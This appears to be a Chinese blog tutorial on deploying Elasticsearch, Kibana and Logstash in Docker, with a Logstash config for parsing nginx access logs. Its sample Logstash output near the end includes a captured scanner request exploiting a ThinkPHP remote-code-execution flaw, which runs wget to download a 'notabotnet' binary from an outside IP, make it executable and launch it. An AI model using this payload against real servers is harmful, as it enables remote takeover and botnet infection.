1. 程式人生 > 其它 >docker 快速部署elk

docker 快速部署elk

docker部署ELK

環境 centos7

1 配置阿里雲加速器

  • 登入阿里雲控制檯
  • 進入容器服務
  • 進入映象加速器,按照說明操作

2 pull image

  • 獲取ES映象:docker pull elasticsearch:latest
  • 獲取kibana映象:docker pull kibana:latest
  • 獲取logstash映象:docker pull logstash:latest

3 啟動Elasticsearch

  • 官方映象裡面ES的配置檔案儲存在/usr/share/elasticsearch/config

  • 資料檔案目錄/usr/share/elasticsearch/data

    如果需要可以在啟動容器的時候的時候使用 -v引數掛載到宿主機

    示例不進行掛載

    docker run --name elasticsearch -v -p 9200:9200 -d elasticsearch
    
  • 啟動後在瀏覽器訪問ip:9200,返回如下則證明啟動正常

    {
      "name" : "VDw5UKv",
      "cluster_name" : "elasticsearch",
      "cluster_uuid" : "DNTJCXjpSNOrS6rBSJtYXw",
      "version" : {
        "number" : "5.6.12",
        "build_hash" : "cfe3d9f",
        "build_date" : "2018-09-10T20:12:43.732Z",
        "build_snapshot" : false,
        "lucene_version" : "6.6.1"
      },
      "tagline" : "You Know, for Search"
    }
    

    備註:es預設jvm使用記憶體是2G,若機器記憶體不足,可以修改配置檔案

    find /var/lib/docker/ -name jvm.options
    /var/lib/docker/overlay2/d32d0371ed2cb37d660bd8acf0f2407735c4a1c1a09f017e053068b29ddd40d4/diff/etc/elasticsearch/jvm.options
    
    vim /var/lib/docker/overlay2/d32d0371ed2cb37d660bd8acf0f2407735c4a1c1a09f017e053068b29ddd40d4/diff/etc/elasticsearch/jvm.options
    修改
    -Xms2g
    -Xmx2g
    為
    -Xms1g
    -Xmx1g
    

3 啟動kibana

Kibana作為ES操作的UI,需要跟ES容器通訊,所以這裡要將ES的容器link一下,對外提供5601埠做頁面互動。

docker run --name kibana --link elasticsearch:elasticsearch -p 5601:5601 -d kibana

器啟動後用瀏覽器訪問5601埠,可以看到kibana頁面.

但是現在es中沒有索引,所以沒有資料

4 啟動logstash

Logstash主要作用是收集日誌,這個元件有很多外掛,可以支援大部分日誌整合方式,如tcp、udp、jdbc、檔案、佇列等,他的配置非常簡單,啟動方式也很簡單,這裡以nginx的訪問日誌為例,我們配置logstash讀取nginx的access.log,然後把日誌轉發到Elasticsearch。

啟動logstash前需要配置logstash,採集日誌、輸出元件ip等資訊

參考其他部落格教程,配置檔案在容器路徑為/usr/share/logstash/config,但是經自測發現並無此config,所以從https://artifacts.elastic.co/downloads/logstash/logstash-7.0.0.tar.gz下載logstash安裝包,並解壓後獲得config目錄下所有檔案

  • 複製config資料夾到/root/logstash/config

  • 建立採集日誌的config

    假設採集nginx的日誌檔案

    nginx的日誌檔案預設在/var/log/nginx/access.log

    建立/root/logstash/config/nginx.conf

    ## nginx.conf
    input {
      file {  # 指定一個檔案作為輸入源
        path => "/var/log/nginx/access.log"  # 指定檔案的路徑
        start_position => "beginning"               # 指定何時開始收集
        type => "nginx"                                             # 定義日誌型別,可自定義
      }
    }
    filter {  # 配置過濾器
        grok {
            match => { "message" => "%{IPORHOST:http_host} %{IPORHOST:clientip} - %{USERNAME:remote_user} \[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http_verb} %{NOTSPACE:http_request}(?: HTTP/%{NUMBER:http_version})?|%{DATA:raw_http_request})\" %{NUMBER:response} (?:%{NUMBER:bytes_read}|-) %{QS:referrer} %{QS:agent} %{QS:xforwardedfor} %{NUMBER:request_time:float}"}  # 定義日誌的輸出格式
        }
        geoip {
            source => "clientip"
        }
    }
    output {
        stdout { codec => rubydebug }
        elasticsearch {
            hosts => ["ip:9200"]
            index => "logstash-nginx-%{+YYYY.MM.dd}" 指定索引,在kibana中需要根據此索引進行查詢
      }
    }
    
  • 啟動logstash

    因為採集的日誌是/var/log/nginx/access.log,所以需要將此路徑對映到容器

    配置檔案的路徑也要對映到容器, /root/logstash/config/ --> /usr/share/logstash/config/

    docker run -itd --name=logstash -v /var/log/nginx/access.log:/var/log/nginx/access.log -v /root/logstash/config/:/usr/share/logstash/config docker.io/logstash -f /usr/share/logstash/config/nginx.conf
    

    -f 指定配置檔案

    若是要採集多個檔案,可以建立多個.conf,將所有conf放到同一目錄,-f 指定這個目錄即可

    啟動後,呼叫幾次nginx,會有如下日誌輸出,證明採集成功

    {
              "path" => "/var/log/nginx/access.log",
        "@timestamp" => 2021-10-23T08:18:26.907Z,
          "@version" => "1",
              "host" => "a1488190ee70",
           "message" => "89.248.164.165 - - [23/Oct/2021:16:18:26 +0800] \"GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1\" 404 3650 \"-\" \"Mozilla\" \"-\"",
              "type" => "nginx",
              "tags" => [
            [0] "_grokparsefailure",
            [1] "_geoip_lookup_failure"
        ]
    }
    {
              "path" => "/var/log/nginx/access.log",
        "@timestamp" => 2021-10-23T08:27:34.089Z,
          "@version" => "1",
              "host" => "a1488190ee70",
           "message" => "177.149.164.24 - - [23/Oct/2021:16:27:33 +0800] \"GET /index.php?s=/index/\\x09hink\\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://45.14.226.120/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777 /tmp/.notabotnet; /tmp/.notabotnet ThinkphpRep' HTTP/1.1\" 400 157 \"-\" \"Tsunami/2.0\" \"-\"",
              "type" => "nginx",
              "tags" => [
            [0] "_grokparsefailure",
            [1] "_geoip_lookup_failure"
        ]
    }
    

5 驗證

登入kibana,點選management

  • 建立索引,填寫的索引是會在後臺校驗的,若無此索引則不能建立,在logstash中nginx.conf中配置的index即等同於這個索引。

    示例中配置index是logstash-nginx-%{+YYYY.MM.dd},此處建立索引logstash-*即可匹配所有logstash-開頭的索引。

  • 建立索引成功後,點選discover即可檢視到日誌